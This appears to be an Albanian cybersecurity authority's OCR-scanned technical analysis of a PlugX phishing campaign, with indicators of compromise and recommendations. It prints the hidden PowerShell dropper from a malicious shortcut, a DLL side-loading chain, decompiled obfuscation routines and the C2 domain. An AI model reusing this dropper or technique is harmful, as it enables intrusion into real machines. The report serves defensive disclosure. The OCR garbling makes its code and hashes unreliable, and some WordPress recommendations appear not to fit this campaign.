[N

REPUBLIKA E SHQIPERISE
AUTORITETI KOMBETAR PER SIGURINE KIBERNETIKE
DREJTORIA E ANALIZES SE SIGURISE KIBERNETIKE

Analizé teknike
PlugX malware

Versioni: 1.0
Daté: 27/04/2026

Rruga “Papa Gjon Pali II” nr.3 Tirang;

Fage web: www.aksk.gov.al E-mail: info@aksk.gov.al
Tel./Fax : 04 2221 039


http://www.aksk.gov.al/
mailto:info@aksk.gov.al

PERMBAJTJA

Informacione TeKNIKe .....ueeeuieiisuiiiisuiiiininiiiiisinicnsniissnecsstecsssnesssseesssseessssnessssnsssssscssssssssssees 3
ANAlIZA € SKEAATTt..cccuneeiineiiiiiiiiiiitiiintecteecetentiestecsssstesssseesssseessssssssssssssssssssssssssssssssssses 3
Analiza e skedarit Eraser.dll.........iiiiiniiiininiiniiiiiiiiiisniinsnncnsneisssecsssncsssncssssscssssssssssees 6
Indikatorét e Komprometimit........cooceveeiieissennsinssenisenssnnnsnenssnccssecssnecssnssssesssessssssssssssassssassnne 10
ReEKOMANGIIME ...uuceueeiniiiiiinieinicsninsneiieesnicsnisssisssecssseesssscsssssssssssessssssssssssassssasssssssassssassssassnns 11
FIigUura 1 SKEAATT ZIP ...eoviiiiiiiieiiecie ettt ettt ettt et essb e e e e ssaesabaeesseenseessaeensaensseenns 4
Figura 2 Komandé e fshehur powershelli...........cccoooiiiiiiiiiiiiiiiicccccec e 4
Figura 3 Ekstraktimit 1 skedarit final ............cooooiiiiiiiii e 6
Figura 4 FUNKSIONT INTt....cc.ooiiiiiiiiee ettt et 7
Figura 5 leximi i dll me ané t&€ ntdll openfile............ccoooiiiiiiiiiiii e 7
Figura 6 Eraser.dat SUCCESS .....cccuiiiiiiiieiie ettt ettt ettt et e sttt et e s e e b e e aee e 8
Figura 7 Tehran Province 2026.pAf .........oouiioiiiiiiiiiieiece e 9
Figura 8 Kérkimi 1 skedarit taskKill ........c..ccooeeiiiiiiiiiiiiiieciicee e 9
Figura 9 Stage i dekriptimit t€ payload...........ccceeeviieiiiiiiiiieciieece e 10
FIGUIA 10 C&C ...ttt et et e et e e et e e st eeesaeeesstaesssaeesnseeennseesnnseeens 10

Ky raport ka kufizime dhe duhet interpretuar me kujdes!
Disa nga kéto kufizime pérfshijné:

Faza e paré:

Burimet e informacionit: Raporti €shté bazuar n€ informacionet t€ vendosura né€ dispozicion né
momentin e pérgatitjes sé tij. Ndérkohé, disa aspekte mund té jené t€ ndryshme nga zhvillimet
aktuale.

Faza e dyté:

Detajet e analizés: Pér shkak té kufizimeve burimore, disa aspekte té skedarit keqdashé€s mund té
mos jené€ analizuar thell€sisht. Cdo informacion shtesé i panjohur mund té reflektojé n€ ndryshime
té raportit.

Faza e treté:
Siguria e informacionit: P&r t& mbrojtur burimet dhe informacionet konfidenciale, disa detaje
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mund t€ jené t€ zbutura ose jo t€ pérfshira né€ raport. Ky vendim &sht€ marré pér t€ mbajtur
integritetin dhe siguriné e t€ dhénave té pérdorura.

AKSK rezervon té drejtén pér té ndryshuar, pérditésuar, ose ndryshuar cfarédo pjesé té
kétij raporti pa lajmérim paraprak.

Ky raport nuk éshté njé dokument pérfundimtar.

Gjetjet e raportit bazohen né informacionin e disponueshém gjaté kohés sé hetimit dhe analizés.
Nuk ka garanci né lidhje me ndryshime té mundshme apo pérditésime té informacioneve té
raportuara gjaté periudhés né vijim. Autorét e raportit nuk marrin pérgjegjési pér pérdorimin e
gabuar ose pasojat e ndonjé vendimmarrjeje té bazuar né kété raport.

Informacione Teknike

Né mes té muajit mars 2026, TA416 u vézhgua nga Proofpoint duke zhvilluar disa fushata qé
synonin entitete qeveritare dhe diplomatike né Lindjen e Mesme. Historikisht, ky rajon nuk ka
gené objektiv i rregullt pér TA416, dhe ky zgjerim i targetimit ka shumé gjasa t€ jet€ nxitur nga
shpérthimi i luftés né Iran.

Njé nga fushatat, e realizuar mé 16 mars 2026, pérdori njé llogari t€ komprometuar t&€ Ministrisé
s€ Punéve t€ Jashtme dhe t€¢ Emigrantéve t€ Siris€ pér t€ dérguar njé email phishing né lidhje me
infrastrukturén energjetike né Iran. Ky email u dérgua né njé gamé t€ gjeré ambasadash té
vendosura né disa shtete t€ Lindjes s€¢ Mesme.

Analiza e skedarit

Skedari Energy Infrastructure _Situation_Note Tehran Province 2026.zip éshté njé skedar 1
tipit .zip 1 cili ka njé madhési prej 1,477 KB . Ajo ¢faré evidentohet €shté se pasi kété skedar e
ekstraktoymé na shfaqet njé skedar shortcut me emrin Energy Infrastructure Situation Note
_Tehran_Province_2026.Ink qé pérmban njé ikoné skedari pdf.
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Offset(h) 00 01 02 03 04 05 06 07 08 0% OA OB OC OD OE OF Decoded text
00000000 50 43 03 04 14 00 08 08 6C 85 70 5C OC 54 ., U 1.p\.&
00000010 54 E7 BF 02 00 00 8C 08 00 00 3E 00 00 00 45 6E —IZ% Ir —rn
00000020 65 72 67 79 SF 49 6E €6 72 €1 73 74 72 75 63 74| ergy_Infrastruct
00000030 75 72 65 SF 53 €9 74 75 61 74 €9 €F 6E SF 4E 6F | ure_Situation No
00000040 74 €5 20 SF 54 €5 68 72 61 6E SF 50 72 6F [f6 €9 | te _Tehran_ Pro¥i
00000050 6E 63 65 SF 32 30 32 36 2E 6C 6E €B ED 94 DF 4E | nce_2026.1nki”8N
00000060 13 41 14 C6é 3F 21 D1 6B 13 AE 4D 43 4C OA 22 98| .A.E?!'Nk.®MCL.">
00000070 96 3F 22 36 5C 63 A5 16 6C €3 43 29 44 59 42 FA L3l h¥-hCkDYBS
00000080 67 Al 85 AS AD 5D 6C A9 4F E3 A3 F8 30 S5E FA 08 g;.¥.]1@0&£z0"a.
00000090 SE F2 9B D3 42 A0 2C C2 A5 26 EE €4 77 CE 9C 99 “@>0B ,E¥sidwic™
000000A0 F3 7D 67 BF 39 33 05 49 OF A6 26 E4 9E EF F6 55 06}g¢93.I.!&821i80
000000BO EE C7 84 1E EA SE E7 D7 CF C7 Dé 3F 1A F3 4F AA iC,.&Z¢xIg02.60%
000000CO A3 BA OE D5 9D 98 57 S5F 89 7B BS FC A5 35 AD 0C £°.0."W_%{nd¥s..
000000D0 2D Al A7 AA 81 F3 05 9C 9A DA 3A C3 4A 63 8D 77 -;§°.6.e30:Adn.w
000000EO 46 Al 22 FA 79 95 54 Bl 75 79 E6 4F 15 98 6F 7B F;™aye*Tiuya0."of
000000F0 D4 37 D5 A2 7F A€ A4 Dé Bl 02 75 75 A4 81 OE B4 070¢.!n0t.uun..”
00000100 Cl1 88 CC 88 8C C0O EC 82 S5A 33 EC 2E 6B OE 54 26 A~I"®Ai,Z3i.k.T&
00000110 CE 8D 2A 7C 9B RO B6é FO 6D 19 BB 43 3D DO OE 7D I.*]> §5m.»C=Db.}
00000120 C3 A2 DD 4C 09 AB AD 9E 71 D5 2C 7E 41 2% DE 17 Ac¢¥L.«.2q0,~R)b.

Figura 1 Skedari zip

Evidentohet qé diferenca midis skedarit zip dhe atij ./nk €sht€ mjaft ¢ madhe gjé qé na bén t&
dyshojmé se skedari ./nk mund t€ inicializoj€ stage t€ shkarkimit té njé skedari tjetér ose mund té
pérdori leximin pérséri té skedarit zip né njé offset specifik pér té€ lexuar payload e skedarit
keqdashés. Né vetvete zakonisht skedarét Ink né karakteristikat té tyre kané t€ specifikuar né target
komandén qé do ekzekutohet.

N¢ rastin toné ajo q€ evidentohet &shté se kemi t€ b&jmEé me njé komandé powershell e cila
ekzekuton disa instruksione.

gm Energy Infrastructure Situation_Note Tehran Province 2026.nk P.. X

Terminal Security Details Previous Versions
General Shortcut Options Font Layout Colors
BD) Energy_Infrastructure_Situation_Mote _Tehran_Province_2
a

Targettype: Application

Targetlocation: v1.0

Target: |1uwsPuwerSheII\vl.O\puwershellexew H ‘

Startin: | ‘

Shortcutkey: |Nune ‘

Run Minimized ~
Comment |pdf ‘
Open File Location Change lcon... Advanced..

Cancel Apply
Figura 2 Komandé e fshehur powershelli
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"C:\Windows\System32\WindowsPowerShell\vl.0\powershell[.]exe" -w H ";;

Scpufcotu = (Is -Pa $SHome -Re -in *'Energy_Infrastructure_Situation_Note
_Tehran_Province 2026'.zip).fullname;$Sbbbxcti =
[System.1O.File]::OpenRead(Scpufcotu); ;$Shwgcexmzh = New-Object byte|]
$bbbxcti.Length;$bbbxcti.Read($hwgcexmzh, 0,
$hwgcexmzh.Length);$bbbxcti.Close();Syyjsvord=795;;
355390eqjdpk="wRi'+'tEAI'+'L'+'bYt'+'Es';[SysTem.10.FIle]::$oeqjdpk(SEnv:LocalAppdat
a+"\\npbhwucj.lv', Shwgecexmzh[Syyjsvord..(Syyjsvord+1511424-1)]);;taR -xvf
$SEnv:LocalAppdata\npbhwucj.lv -C $SEnv:LocalAppdata;Sleep -Seconds 5;;powershell
$SEnv:LocalAppdata\lHFJAOT7-21WC-0KRF-50GV-JWS8KN1HPZCIK\ErsChk.exe;

Komanda e fshehur si me siper, tregon se éshté njé loader/dropper tipik.
Nése e analizojmé rrjesht pér rrjesht vérehet se :
Nis PowerShell hidden me parametrat -w H

1. Keérkon skedarin zip specifikisht skedarin nga ku ndodh ekstraktimi fillestar
$Scpufcotu = (Is -Pa $SHome -Re -in *'Energy_Infrastructure_Situation_Note
_Tehran_Province 2026'.zip).fullname

2. Lexon t€ gjithé skedarin zip né memorie si byte array

$bbbxcti = [System.IO.File]::OpenRead($cpufcotu)
$hwgcexmzh = New-Object byte[] $Sbbbxcti.Length
$bbbxcti.Read($hwgccxmzh, 0, Shwgcexmzh.Length)
$bbbxcti.Close()

3. Lexon payload té fshehur nga brenda ZIP

$yyjsvord=795

[System.1O.File]::WriteAllBytes(
"$env:LOCALAPPDATA\npbhwucj.lv",
$Shwgcexmzh[795..(795+1511424-1)]

)

Fillon nga byte 795

Merr 1,511,424 bytes

E ruan si file t€ ri C:\Users\<user>\AppData\Local\npbhwucj.lv

4. ME pas e bén ekstrakt payloadin
tar -xvf SEnv:LocalAppdata\npbhwucj.lv -C SEnv:LocalAppdata
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5. Ekzekuton payload final
powershell SEnv:LocalAppdata\lHFJAOT7-21WC-0KRF-50GV-
JWSKN1HPZCIK\ErsChk.exe
Kété proces mund ta realizojmé né ményreé t€ sigurté pa e ekzekutuar. Pra ndjekim té njéjtén logjiké
si veté skedari keqdashés

Ps E:ﬂUSEPSﬂFlaPE} tar $env: LOCALAPPDATA
®x 1HFJAOT7-21WC-BKRF -50GV - JWBKNIHPZCOK/
x 1HFJAOTT-21WC-BKRF-58GV - JWBKNIHPZC9K /Eraser. dat

¥ 1HFJAOTT -21WC -BKRF-58GY - JWBKNIHPZCOK /Eraser.d1l
¥ 1HFJAOTT -21WC -BKRF-58GY - JWBKNIHPZCOK /ErsChk. exe

Figura 3 Ekstraktimit i skedarit final

Skedari ErsChk.exe &shté skedar legjitim, pra nuk pérmban elementé keqdashés. Teknika e
pérdorur né kété rast éshté DLL-SideLoading. Aplikacioni ErsChk.exe &shté i programuar qé té
lexojé njé€ dll me emrin Eraser.dll por éshté shfrytézuar nga aktorét keqdashés qé té lexoj€ dll e
krijuar nga ata pra Eraser.dll custom. Ndérsa skedari Eraser.dat €shté njé payload 1 cili pérdoret
nga Eraser.dll

Analiza e skedarit Eraser.dll

Skedari Eraser.dll éshté njé skedar i tipit Dynamic link library i kompiluar né€ gjuhé low level i
cili nis me funksionin eraserInit().

Kjo &shté entry / init routine e skedarit keqdashés. Nga kodi evidentohet obfuskim masiv (anti-
analysis).

iVar2 = FUN _10001643(0x7040ee75);

pcVar3 = (code *)FUN_10001715(1Var2,0x13b8a163);

nuk pérdor emra API né ményré direkte me qéllimin e shmangies s¢ dedektimit nga AV
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OIS IUNAICD JELAYEDIdLvOUS JIIaval

nWW..." /* TRUNCATED STRING LITERAL */
€3 ; *pcvar8 != '\0'; pcVar8 = pcVard + 1) {
64 FUN_1000l4ca();
€5 1}

66| iVar2 = FUN_ 10001643 (0x7040=e75);

€7 pcVar3 = (code *}FUN_lDDDlTlS(iVar2,Dx13b8a163];

€8| _DAT 1008fal4 = pcVar3;

69| DAT_1008fa08 = (code *)FUN_10001715(ivVar2, 0x3B82c0£97);
70| DAT_1008£falc = (code *)FUN_10001715(iVar2, 0x6eBfcfle);
71| DAT_1008£al0 = (code *)FUN_10001715(iVar2, 0x5d01£1b2);
72| DAT_1008fal4 = (code *)FUN_10001715(ivVar2, -0x7881442d);
73| DAT_1008£fal8 = (code *)FUN_10001715(ivVarZ, Oxel%eSfe);

T4 for (pcvVarf =

75

"YCAEyRzMFaEVmdyoDEdUEnMUEWIXxDoSENIVnXmNZzasluzGweTQAQVIALXOZmMY ZPBjAhhheDacJruRefRzPZ]i8g
TAoX1GAExSBpIMhVmlgOFskEtxCARgXZLSVdnImbenIxDmt rHhaQRVwLcrZiCaptsRXIRochwpfHArtxvkzPkYXNulUg
SMXRATaHEe fgLzTYrNPGIfXRZSzgk] JHM] owmCggQfdUbfANIntHiNZapFgkzmSdgkbfgmlAUsZCzoRgkFlaDX1MaZ
YEnNZiTEFuNGirBiJPAgfExznzzcfZIJwMGAMWPLDI tGFYOEWzyWHYNJEFHInX IrRkpAZnFcecSEHostNrxcDAOCEVHD:
ViWbvbvQQdSiasdWcvyRFdzYNRfeRpCkuzZSBkULIZ1bgoXHVCVEIJgQtaMgxnTRGhbSRegbHXXUNurgsZIECNyJUgpE
CMsDbdYvvgMeWjmugRvwCnUwGribighyzkDQCaTaTPLNzimlgHy ] gPacIGkVHt1Q25s121wakal zHthEQ] EWySUKPD
fUpYoZVvTgSKEgmdCuh] yLsxeLogmpIXBIGgZSSMuQt seLt viONIWgyhMmMkCoPAMEWppRyNCuwSCJITLNt AGETE] DEM]
votiJCWoCKYFAdoJHquSgGTerw] vITgxAnsg] rJdSbrXInTol PAagVkcBlvLIQDN]1 IeHgeWhWuTMDRCXr PUni zOxELul
UYtgGkSyBGumHuhUDDal FuYgQrxmrLghVEaQlciNmmOGrXYuoSQfRHr HWi sUcMgkNC1 tiVREKSxWNGT 2ChbkQOvuQGml

THMENC RO W T+ o3 75T Pyybhyodr 1 Ba uMPRAOHY 1 O] o0 Ded0rdR ] YAR O TOIIOFn AR EOCnCHnwy AEFTRO

Figura 4 Funksioni Init

Pjesa qé na intereson €shté rutina e XOR qé ekzekutohet né ciklin for.

for (iVar2 = -0x16; iVar2 !=0; iVar2 = iVar2 + 2) {

*(ushort *)((int)auStack 676 + iVar2) = *(ushort *)(&UNK 10053b9a + iVar2) * 0xf4;

}

Duke géné se ky skedar pérdor api shumé lowlevel na duhet ta ndjekim me debug nga ku e thérret

eraser.dat pasi nuk ndodhet hardcoded né aplikacion.

o Hide FPU

EAX  0019F940
EBX 0O0L9F978
ECX  DOO3ES70
EDX 00000000
EBP  0019F94C &"AU\X19"
ESP  0019F8E4

EDI 00000000
EIP 77512DEBO <ntdl11. NtopenFile>

EFLAGS 00000300
ZF O PF O AF O
OF 0 sF O DF O
CF0O TF1 IF1

LastError 00000002 (ERROR_FILE_NOT_FOUND)
Laststatus c0000034 (STATUS_OBIECT_NAME_NOT_FOUND)

Gs 0028 Fs 0033
ES 0028 Ds 002B
Cs 0023 ss 0028

T MY ARAAAAAAAAAANAAANAAANN w87 e et O AAAAOAAAAAAAAAAANT
Diofault fotdeallh

ESI 007A0BDO L"C:\\users\\flare'\Desktop"\1HFJAOT7 - 21WC-0KRF-50GV-JWBKN1HPZCIK" \Eraser.d11"

Figura 5 leximi i dll me ané té ntdll openfile

Rruga “Papa Gjon Pali II” nr.3 Tirané;

Faqe web: www.aksk.gov.al E-mail: info@aksk.gov.al
Tel./Fax : 04 2221 039


http://www.aksk.gov.al/
mailto:info@aksk.gov.al

Si fillim ndjekim me ané t€ analiz€s dinamike se nése skedari Eraser.dat thérritet gjaté ekzekutimit
té Eraser.dll dhe ajo dallon nga Result success ku béhet leximi 1 Eraser.dat

[B¥ Process Monitor - Sysinternals: www.sysinternals.com

File Edit Event Filter Tools Options Help

DRI YAG & F L H w22

Time o.. Process Name PID Operation Path Result Detail
0:55:19 @ ErsChk exe 8316 ru CreateFile CiAUsers\flare\Desktop\THFJAOT 7-21WC-0KRF-50GV-JWBKNTHPZC9K\Eraserdll  SUCCESS Desired Access: R
0:55:19... L1 ErsChk.exe 8316 'y CreateFile C\Users\flare\Desktop\1HFJAOT7-21WC-0KRF-50GV-JWBKNTHPZCIK\Eraserdll  SUCCESS Desired Access: R..

8316 g CreateFile CAUsers\flare\Desktop\THFJAOT 7-21WC-O0KRF-50GV-JWBKN1HPZCK\Eraserdll  SUCCESS Desired Access: R

C\Users\flare\Desktop\1HFJAOT7-21WC-0KRF-50GV-JWBKN1HPZCIK\Eraserdat SUCCESS

ErsChk.exe s CreateFile CiUsers\Public\Eraser NAME COLLISION ‘R.

ErsChk exe 8316 s CreateFile Ci\Users\Public\Eraser SUCCESS Desired Access: W

8316 'u CreateFile CiUsers\Public\Eraser SUCCESS Desired Access:W.
L. ErsChk exe 8316 & CreateFile CiUsers\Public\Eraser\ErsChk exe ACCESSDENIED Desired Access
ErsChk.exe 8316 'u CreateFile CiUsers\Public\EraserErsChk.exe ACCESSDENIED Desired Access:
ErsChk exe 8316 'yu CreateFile C\Users\Public\Eraser\ErsChk exe ACCESSDENIED Desired Access:
0:55:20... Q ErsChk.exe 8316 s CreateFile Ci\Users\Public\Eraser\ErsChk.exe ACCESSDENIED Desired Access:
0:55:20. EE ErsChk exe 8316 'yu CreateFile C\Users\Public\Eraser\ErsChk exe ACCESSDENIED Desired Access:
05520 . LJ ErsChk exe 8316 ‘s CreateFile CiUsers\Public\Eraser\ErsChk exe ACCESSDENIED Desired Access
0:55:20... ErsChk exe 8316 ' CreateFile C\Users\Public\EraserErsChk exe ACCESS DENIED  Desired Access:
0:55:20. ErsChk exe 8316 s CreateFile CiUsers\Public\Eraser\ErsChk exe ACCESSDENIED Desired Access
0:55:20... Q ErsChk.exe 8316 'u CreateFile CiUsers\Public\EraserErsChk.exe ACCESS DENIED Desired Access:
0:55:20. QErsChk exe 8316 & CreateFile CiUsers\Public\Eraser\ErsChk exe SUCCESS Desired Access
0:55:20... L.J ErsChk.exe 8316 'u CreateFile CiUsers\flare\Desktop\THFJAOT 7-21WC-OKRF-50GV-JWBKNTHPZC9K\Eraserdll  SUCCESS Desired Access:

0:55:20. ErsChk exe 8316 'yu CreateFile C\Users\Public\Eraser\Eraser.dll ACCESSDENIED Desired Access:

ErsChk.exe 8316 'u CreateFile CiUsers\Public\Eraser\Eraser.dll ACCESSDENIED Desired Access:

oo O0On0O000

ErsChk exe 8316 'yu CreateFile C\Users\Public\Eraser\Eraser.dll ACCESSDENIED Desired Access:

. 8316 s CreateFile Ci\Users\Public\Eraser\Eraser.dll ACCESSDENIED Desired Access:
349911 AM |xe 8316 ' CreateFile C\Users\Public\Eraser\Eraser.dll ACCESS DENIED  Desired Access:

5521 ‘~d ErsChk exe 8316 s CreateFile Ci\Users\Public\Eraser\Eraser.dll ACCESSDENIED Desired Access
0:55:20... Q ErsChk.exe 8316 'u CreateFile CiUsers\Public\Eraser\Eraser.dll ACCESS DENIED Desired Access:
0:55:20. QErsChk exe 8316 s CreateFile Ci\Users\Public\Eraser\Eraser.dll ACCESSDENIED Desired Access
0:55:20... Q ErsChk.exe 8316 'u CreateFile CiUsers\Public\Eraser\Eraser.dll ACCESS DENIED Desired Access:
0:55:20... L ErsChkexe 8316 'yu CreateFile C\Users\Public\Eraser\Eraser.dll SUCCESS Desired Access
0:55:20... L ErsChk.exe 8316 \py CreateFile C\Users\flare\Desktop\1HFJAOT7-21WC-0KRF-50GV-JWBKNTHPZCOK\Eraser.dat SUCCESS Desired Access:
0:55:20. CE ErsChk exe 8316 'yu CreateFile C\Users\Public\Eraser\Eraser.dat ACCESSDENIED Desired Access:
0:55:20... Q ErsChk.exe 8316 s CreateFile Ci\Users\Public\Eraser\Eraser.dat ACCESSDENIED Desired Access:
0:55:20. EE ErsChk exe 8316 'su CreateFile C\Users\Public\Eraser\Eraser.dat ACCESSDENIED Desired Access:
05520 LJ ErsChk exe 8316 s CreateFile Ci\Users\Public\Eraser\Eraser.dat ACCESSDENIED Desired Access
0:55:20... Q ErsChk.exe 8316 'u CreateFile CiUsers\Public\Eraser\Eraser.dat ACCESS DENIED Desired Access:
0:55:20. QErsChk exe 8316 s CreateFile Ci\Users\Public\Eraser\Eraser.dat ACCESSDENIED Desired Access
0:55:20... Q ErsChk.exe 8316 'u CreateFile CiUsers\Public\Eraser\Eraser.dat ACCESS DENIED Desired Access:
0:55:20. QErsChk exe 8316 & CreateFile Ci\Users\Public\Eraser\Eraser.dat ACCESSDENIED Desired Access
0:55:20... L.J ErsChk.exe 8316 'u CreateFile CiUsers\Public\Eraser\Eraser.dat ACCESSDENIED Desired Access:
0:55:20. QErsChk exe 8316 'yu CreateFile C\Users\Public\Eraser\Eraser.dat SUCCESS Desired Access
10:55:20... L) ErsChkexe 8316wy CreateFile ClUsers\Public\EraserErsChk.exe SUCCESS Desired Access:

Figura 6 Eraser.dat success

Nése analizojmé header té Eraser.dat evidentohet pérséritje e larté e vilerave 9E 9E 9E 9E 9E ...
kjo éshté tipike pér:

XOR / encoded blob

ose memory padding pas dekriptimit t€ pjesshém

Gjaté debug u evidentua dhe njé skedar pdf. Kjo me géllim q¢€ gjaté aksesimit t€ Ink t& hapet dhe
pdf e cila n€ vetvete nuk pérmban kod keqdashés.
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What's new in Microsoft Edge X @ Energy_Infrastructure_Situation_N« X

C (@ File C/Users/flare/AppData/Local/Temp/Energy_Infrastructure_Situation_Note%20_Tehran_Province_2026.pdf
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Figura 7 Tehran_Province 2026.pdf

Duket se dll po kérkon dhe njé skedar tjetér me emrin taskkill brénda folderit té skedarit keqdashés
%LOCALAPPDATA%\IHFJAOT7-21WC-0KRF-50GV-JW8KN1HPZCI9K \taskkill.*

TTare'\AppData’\\Local\\IHFJAOT7 - TWC-OKRF - 50GV- JWBKNIHPZCOK Y, \taskki 1. * A

“flare'\\appData‘\\Local \\1HFJAOT7 -21WC-0KRF - 50GV-IWBKNLIHPZC 9K \taskkill. ="

“flare'\apppatat\Localy\1HFJAOT7 -21wC-0KRF -50GV-JwBKNIHPZC 9K \ptaskki1T.F"

Hide FPU

Eax
EBX
ECX
EDX
EBP
EsSP
ESI
EDI

EIP

06E4DD48
0640001
00420014
00819148
06E4E010
06E4DD1C
00000000
OGE4EZBES8

77512DB0

EFLAGS
ZF 1
OF 0

“flare'\\appData‘\\Local \\1HFJAOT7 -21WC-0KRF - 50GV-IWBKNLIHPZC 9K \taskkill. ="
SF

“Flare\\Apppata‘\Local\\1HF JAOT7 -21wC -0KRF -50GV-JWEKN1HPZCOKY \taskki1T. #" Lasterrar
Laststatu
G5 002B
E5S 002B
£s 0023

CFO TF1 1IF1

00000344

PF 1 AF 0

0 DF O

L eehes\husersi\flare\\AppData\\Local

<ntdl11. NtOpenFile>

000004
s CO00000

Fs 0053
DS 0028
Ss_00?R

“flare'\\appData‘\\Local \\1HFJAOT7 -21WC-0KRF - 50GV-IWBKNLIHPZC 9K \taskkill. ="

<

2 (ERROR_FILE_NOT_FOUND)

—FOUND)

Default (stdcall)

. " alE 4] OBE4DD48
“Flare\\apppata\\Local\\1HFJAOT7 -21wC -0KRF-50GV-JWBKNIHPZCIKY \taskkill. * wl2: ES:EIS% 00100001
2:

ECAnNGD

Figura 8 Kérkimi i skedarit taskkill

Nése vendosim njé€ breakpoint né kernel32.CreateThread kjo do na ndihmojé t€ gjejmé thread se

ku ai do nisi dhe nga u nxorr se nis n€ adresén 02CF1290.
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m ErsChkexe - PID: 4368 - Thread: 8068 (switched from 128C) - x32dbg [Elevated]

File View Debug Tracing Plugins Favourites Options Help May 8 2021 (TitanEngine)
9E il ¥ »§ ¢t & G®EH L B
B cPu [flog [V Notes  © Breakpoints  ®® MemoryMap [ Call Stack =2 SEH L Script ] Symbols <> Source  / References % Threads b Handles ¢ Trace
|Eze ecx epx esteorf  BEEETS push edi
o ) 56 push esi_ ~ A
E1EC 20020000 sub esp,2
E8 27570000 £ Seeacs Eax  [HREEERD
83F58 01 cmp eax, EDXEO0000000
75 08 jne 2cFizap ECX  02CF1290
310 ¥or eax,eax EDX  02CF1290
g81C4 20020000 add esp,220 EBP  0GBCFFE0
SE pop esi ESP  06BCFF74
s pop edi ESI  02cF1290
ret EDI  02CF1290
EE EASLOZDO call 2p1741C
o £8 11A40 call 206868 EIP  02CF1290
o 5434 14 00000000 | mov dword per ssillesp14] % ; w
o 0F2805 50920702 movaps xmm0, xmmword ptr ds: [2079250. 02079250 "Chkheu~Ugq{IsR ve
ol OF114424 18 movups xmmword ptr ss: [esp+18], xmmo ;ELAGS 20022344
| 66:C74424 28 6640 mov word ptr ss:flesp:+2&], JOuu OF 0 SFO DF O
o €64424 2A 00 mov byte ptr ss:fesp+24],0 . o i 1
Y C64424 18 43 mov byte ptr ss:ifespri8].43 43:°c e W =
o Xor eax,eax .
M 40 inc gax LastError 00000000 (ERROR_SUCCESS)
| Bl D3 mov c1, LastSTatus C000000D (STATUS_INVALID_PARAMETER)
o 8A5404 18 mov a}w b¥te ptr ss:esp+eax: 180
o 88D5 mov ch G5 0028 FS 0053
L] FED5 not ch ES 002E DS 002B
o 80ES 78 and ch,78 €5 0023 S5 0028
o 80E2 87 and d1,8
o 0BEA or :.ﬂ},ch1 <
o 88cD mov ch,c
o 80ES 78 and ch)7s Default (stdcall) ~ 1[5 =00 unf
ol 88CE mov dh,al T: Tesprd] 00000000
[ 80C6 28 add dh, 28 23 [esp+a] 76310080 <kernel32.BaseThreadInitThunk>
o 80E6 87 and dh, 8 31 [espic] O0BECFEDC
L OBEE or dh,ch 4: [esp+10] 77507B4E "émi\x03"
H ;g?g o j? jA 5: [esp+l4] 00000000
FeD2 not dl v
>
o5 o 763100C9| ret To ki 132.763100C9 i e
@oumpl @4 Dump2 W Dump3 @M Dump4 N Dump5 @ Watchl I locals ) Struct m@‘,&:rp’: [ —— —

Figura 9 Stage i dekriptimit té payload

Pra roli kryesor i késaj dll éshté dekriptimi i Eraser.dat pér injektimin e skedarit keqdashés final i

cili nga analizimi dinamik pérséri komunikon me domainin C2 coastallasercompany|.]Jcom

=

161 22.367030 192.168.253.137 192.168.253.2 DNS 83 Standard query @xed48c A coastallasercompany.com

162 22.369850 192.168.253.2 192.168.253.137 DNS 99iStandard query response @xe48c A coastallasercompany.com A ©.6.0.0

Figura 10 C&C

Indikatorét e Komprometimit

4B433D3C0C75957DF1994AB41B472B1C0BF84F4013A795F3BB563081D2
FCF35F

npbhwucj.lv

AI9SE3857E2F32C2A9C23ACCADEBCIAD6AABF73FEDID63C792D69122
DIEC6726D

Energy_Infrastruct
ure_Situation_Note
_Tehran_Province
_2026.Ink

C5267FEFAAC1764EBASF42681EB216F146B7D18FCBF546275D33E70CB36FDF
BA

Eraser.dat

3021F4D365A641722748C5E60D983A080DB17BEFSFOA1DBE624FFE63CD544C
C1

Eraser.dll

coastallasercompany[.]com

domain
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Rekomandime

Autoriteti Kombétar pér Siguriné Kibernetike rekomandon:

Bllokimin e menjéhershém té Indikatoréve t¢ Komprometimit, t&€ pérmendura mé sipér né
pajisjet tuaja mbrojtése.

Kontrollin e skedarit css.js nése ka kod té fshehur.

Verifikimin e panelit t€ menaxhimit t€ Wordpress pér aktivitet t€ dyshimté.

Kontrollin dhe pérditésimin e plugins t€ instaluar né Wordpress.

Instalimin e Plugins t€ zyrtarizuar.

Analizimin e vazhdueshém té logeve qé vijné nga SIEM (Security information and Event
Management).

Instalimin e pajisjeve t€ perimetrit t€ rrjetit q€ b&jné analiz€ t& thell¢ t&€ trafikut duke u
mbéshtetur jo vetém né rregullat e listave té aksesit por edhe né sjelljen e tij (Firewall-et
NextGen).

Verifikimin e formave t€ upload dhe vendosjen e njé Sandbox pér analizén e skedareve té
ngarkuar né té.

Verifikimin e statusit t€ databazés ku €shté instaluar website.

Aplikimin e filtrave té trafikut n€ rastin e aksesimit né€ distancé t€ hosteve (punonjésve/palé t&
treta/klienté).

Implementimin e zgjidhjes qé kryen filtrimin, monitorimin dhe bllokimin e trafikut keqdashés
ndérmjet aplikacioneve Web dhe internetit, Web Application Firewall (WAF).

Kryerjen e analizave té trafikut né nivel sjellje “behaviour” pér pajisjet fundore, aplikimi 1
zgjidhjeve EDR, XDR. Kjo sjell analizén e skedaréve keqdashés jo vet€ém né nivel signature
por dhe né nivel behaviour.
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